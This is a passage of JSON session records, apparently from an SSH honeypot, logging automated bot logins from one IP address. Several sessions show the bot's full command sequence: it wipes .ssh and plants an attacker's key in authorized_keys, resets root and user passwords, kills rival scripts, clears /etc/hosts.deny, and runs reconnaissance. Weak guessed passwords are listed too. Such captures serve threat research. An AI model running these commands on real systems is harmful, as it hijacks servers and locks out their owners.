$7}'"},{"seq":10,"at":"2026-08-27T00:24:17.061303+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:24:17.593796+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T00:24:18.983140+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:24:19.735865+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:24:20.541075+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T00:24:21.066021+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:24:21.740794+00:00","kind":"output","latency_ms":null,"data":" 00:24:21 up 6 days, 21:14, 0 user, load average: 0.14, 0.1, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:24:22.289297+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:24:23.079791+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:24:23.611371+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:24:24.124438+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:24:24.835716+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:24:25.386954+00:00","kind":"output","latency_ms":null,"data":"top - 00:24:25 up 6 days, 21:14, 0 user, load average: 0.14, 0.1, 0.14\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:24:26.261457+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:24:27.020933+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:24:27.542869+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:24:27.821151+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T00:24:28.346734+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:24:28.754202+00:00","kind":"output","latency_ms":null,"data":"ssl"},{"seq":29,"at":"2026-08-27T00:24:29.281623+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:24:30.330347+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T00:24:30.858327+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:24:31.988809+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ssl","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"db208109-6607-4fdf-b270-54de36bfd155","name":"shaded-alpine-moose","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":49286,"username":"ssl","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T00:24:10.950926+00:00","ended_at":"2026-08-27T00:24:12.313376+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ssl","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"7bad6c15-f3da-45bf-8867-1a0d0d3f317d","name":"pewter-quartz-quokka","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":49272,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T00:24:06.729996+00:00","ended_at":"2026-08-27T00:24:08.078903+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"5edb1ccb-d4dc-4fe7-b301-528eb53018b3","name":"frank-dappled-cougar","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":50422,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":581,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:21:10.422459+00:00","ended_at":"2026-08-27T00:21:11.831471+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2117,"events":[{"seq":1,"at":"2026-08-27T00:20:46.105549+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:20:46.693485+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:20:55.547708+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:20:55.550189+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:20:56.147305+00:00","kind":"input","latency_ms":null,"data":"echo \"root:cDFEPqQz78A8\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T00:20:56.722907+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T00:20:57.320145+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:20:57.321789+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:20:58.280436+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T00:20:58.860417+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:20:59.563152+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T00:21:00.087314+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:21:00.669725+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:21:00.670444+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T00:21:01.250608+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:21:01.251149+00:00","kind":"output","latency_ms":null,"data":" 00:21:01 up 6 days, 21:11, 0 user, load average: 0.06, 0.05, 0.04\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:21:01.833297+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:21:02.255044+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:21:02.833844+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:21:03.335181+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:21:03.912762+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:21:04.237080+00:00","kind":"output","latency_ms":null,"data":"top - 00:21:04 up 6 days, 21:11, 0 user, load average: 0.06, 0.05, 0.04\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:21:04.825734+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:21:05.269410+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:21:05.847057+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:21:06.615712+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T00:21:07.201859+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:21:07.897539+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T00:21:08.477705+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:21:09.844062+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T00:21:10.423248+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:21:11.640059+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"QAZwsx123","method":"password","accepted":true,"tier":"other"}]} {"id":"98cc077b-9302-47a3-8cbc-076b40de366f","name":"dutiful-rustic-mink","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":50444,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T00:20:53.613556+00:00","ended_at":"2026-08-27T00:20:55.346818+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"402ad363-ca64-4773-a798-b8ce71ef2848","name":"woven-smoky-magpie","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":50430,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T00:20:48.976951+00:00","ended_at":"2026-08-27T00:20:50.440011+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"d07cf30b-8560-4b85-bbb5-af953dfb9455","name":"early-deft-galago","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":50678,"username":"ftp_user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":571,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:17:53.831192+00:00","ended_at":"2026-08-27T00:17:54.534356+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2057,"events":[{"seq":1,"at":"2026-08-27T00:17:33.256523+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:17:33.871803+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:17:43.356820+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:17:43.357436+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:17:43.912041+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nNMe7Bq8OC28d\\nNMe7Bq8OC28d\"|passwd|bash"},{"seq":6,"at":"2026-08-27T00:17:44.480525+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nNMe7Bq8OC28d\\nNMe7Bq8OC28d\\n\"|passwd"},{"seq":7,"at":"2026-08-27T00:17:45.041119+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:17:45.041600+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:17:45.630233+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T00:17:46.243622+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:17:46.814944+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T00:17:47.413400+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:17:47.999263+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:17:48.000137+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T00:17:48.574597+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:17:48.577138+00:00","kind":"output","latency_ms":null,"data":" 00:17:48 up 6 days, 21:07, 0 user, load average: 0.34, 0.34, 0.28\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:17:49.135144+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:17:49.137841+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:17:49.735440+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:17:49.736078+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:17:50.291091+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:17:50.291567+00:00","kind":"output","latency_ms":null,"data":"top - 00:17:50 up 6 days, 21:07, 0 user, load average: 0.34, 0.34, 0.28\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:17:50.850485+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:17:50.851026+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:17:51.523663+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:17:51.524129+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T00:17:52.092790+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:17:52.094139+00:00","kind":"output","latency_ms":null,"data":"ftp_user"},{"seq":29,"at":"2026-08-27T00:17:52.653863+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:17:53.249912+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T00:17:53.832469+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:17:54.349273+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ftp_user","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"2a83dae2-1927-459e-9efd-11b120b47889","name":"murky-vaulted-anteater","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":52310,"username":"ftp_user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T00:17:41.697466+00:00","ended_at":"2026-08-27T00:17:43.153728+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ftp_user","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"617a9f66-1617-4b8d-b484-f788061d7c97","name":"inland-pewter-wallaby","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":52300,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T00:17:38.464256+00:00","ended_at":"2026-08-27T00:17:40.527658+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"d8569d23-7d3d-4484-a143-bef4fc61640a","name":"jaunty-northern-boar","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":34414,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":548,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:14:46.269218+00:00","ended_at":"2026-08-27T00:14:47.160675+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2095,"events":[{"seq":1,"at":"2026-08-27T00:14:31.047188+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:14:31.594880+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:14:36.357035+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:14:36.357602+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:14:36.906465+00:00","kind":"input","latency_ms":null,"data":"echo \"root:EERZmGr3xBSk\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T00:14:37.453970+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T00:14:37.999736+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:14:38.000350+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:14:38.547119+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T00:14:39.129398+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:14:39.680208+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T00:14:40.232146+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:14:40.781391+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:14:40.782380+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T00:14:41.330493+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:14:41.331491+00:00","kind":"output","latency_ms":null,"data":" 00:14:41 up 6 days, 21:04, 0 user, load average: 0.03, 0.04, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:14:41.879747+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:14:41.880324+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:14:42.428593+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:14:42.429188+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:14:42.977103+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:14:42.977617+00:00","kind":"output","latency_ms":null,"data":"top - 00:14:42 up 6 days, 21:04, 0 user, load average: 0.03, 0.04, 0.02\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:14:43.534481+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:14:43.535148+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:14:44.083739+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:14:44.084855+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T00:14:44.634667+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:14:44.635324+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T00:14:45.195411+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:14:45.711911+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T00:14:46.269946+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:14:46.982355+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Qwe1234.","method":"password","accepted":true,"tier":"other"}]} {"id":"f67e105a-21cc-4d10-a910-daa44fe61e3b","name":"jaunty-hazy-heron","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":46398,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T00:14:34.848353+00:00","ended_at":"2026-08-27T00:14:36.185944+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"28a4282f-8420-404f-aa1f-eb04bc66b048","name":"fringed-fearless-pangolin","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":46388,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T00:14:32.789994+00:00","ended_at":"2026-08-27T00:14:33.686381+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"ae1c0538-2141-4d51-af76-a28215962807","name":"plush-dappled-pika","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":34614,"username":"cyber","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T00:09:03.109674+00:00","ended_at":"2026-08-27T00:09:04.569697+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"cyber","password":"cyber","method":"password","accepted":false,"tier":"other"}]}